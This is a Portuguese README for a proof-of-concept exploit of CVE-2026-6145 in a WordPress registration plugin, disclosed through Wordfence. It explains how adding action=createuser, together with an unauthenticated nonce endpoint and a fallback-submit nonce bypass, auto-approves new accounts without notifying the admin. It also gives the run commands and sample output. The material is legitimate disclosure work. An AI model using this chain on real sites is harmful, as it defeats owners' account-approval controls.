
User Registration & Membership <= 5.1.5 - Bypass de Aprovação de Administrador por Ausência de Autorização Não Autenticada via Parâmetro 'action'
Exploit de prova de conceito para CVE-2026-6145, uma vulnerabilidade de autorização ausente no plugin User Registration & Membership para WordPress (≤ 5.1.5) que permite que atacantes não autenticados contornem o requisito de aprovação do administrador ao criar novas contas.
| ID do CVE | CVE-2026-6145 |
| CNA | Wordfence |
| Vulnerabilidade | Autorização Ausente — Bypass da Aprovação do Administrador |
| CWE | CWE-862 (Autorização Ausente) |
| CVSS 3.1 | 5.3 Média (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| Afetados | User Registration & Membership para WordPress — todas as versões ≤ 5.1.5 |
| Corrigida | Versão > 5.1.5 |
| Pesquisador | Anthony Cihan — Líder de Segurança Ofensiva, Obviam |
| Divulgação | Programa de Divulgação Responsável da Wordfence |
| Publicado | 2026-05-14 |
O método is_admin_creation_process() em includes/class-ur-user-approval.php é o único controle que determina se um novo registro deve ser tratado como uma criação iniciada pelo administrador. Quando esse método retorna true, ocorrem dois efeitos colaterais:
set_user_status() define o status do novo usuário como APROVADO, ignorando a fila de aprovação pendente.send_request_notification_to_admin() suprime o e-mail de notificação ao administrador para o novo registro.O próprio método, na versão 5.1.5, não contém autenticação, autorização ou verificação de nonce:
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
Como $_REQUEST mescla $_GET, $_POST e $_COOKIE, um atacante não autenticado pode satisfazer essa verificação adicionando ?action=createuser à URL do envio de um formulário de registro. O plugin então aprova automaticamente a conta e nunca alerta o administrador.
Embora o CVE-2026-6145 aborde especificamente a autorização ausente em is_admin_creation_process(), a exploração não autenticada completa contra um formulário de registro endurecido exige encadeá-lo com dois problemas auxiliares na mesma versão do plugin, ambos tratados automaticamente pelo PoC incluído:
| Etapa | Problema | Propósito |
|---|---|---|
| 1 | Geração de nonce não autenticada por meio do endpoint user_registration_get_recent_nonce wp_ajax_nopriv (verificação apenas de Referer) | Obter um ur_frontend_form_nonce válido sem uma sessão autenticada |
| 2 | Bypass da verificação de nonce AJAX quando ur_fallback_submit não está vazio no manipulador do formulário | Enviar o registro pelo caminho de fallback sem um referer AJAX válido |
| 3 | CVE-2026-6145 — action=createuser em $_REQUEST faz is_admin_creation_process() retornar true | Aprovar automaticamente a nova conta e suprimir a notificação ao administrador |
O resultado: uma conta de usuário totalmente aprovada, criada sem interação ou notificação do administrador, em um site que exige explicitamente a aprovação do administrador para novos registros.
requestsdata-form-id)git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <target_url> <form_id>
Exemplo:
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
Depois de executar o PoC, faça login em wp-admin e verifique Usuários → Todos os Usuários:
Em sites WordPress que usam a aprovação do administrador como o principal controle contra a criação indesejada de contas — comum em sites de assinatura, comunidades fechadas, portais internos, plataformas B2B e qualquer site que exija verificação de identidade antes do acesso — essa vulnerabilidade neutraliza silenciosamente esse controle. As consequências específicas incluem:
A pontuação CVSS reflete um impacto apenas de integridade (sem perda direta de confidencialidade de dados ou interrupção de serviço), mas o impacto no mundo real aumenta conforme o site afetado depende do fluxo de aprovação como limite de segurança.
| Versão | Status |
|---|---|
| ≤ 5.1.5 | Vulnerável |
| > 5.1.5 | Corrigida |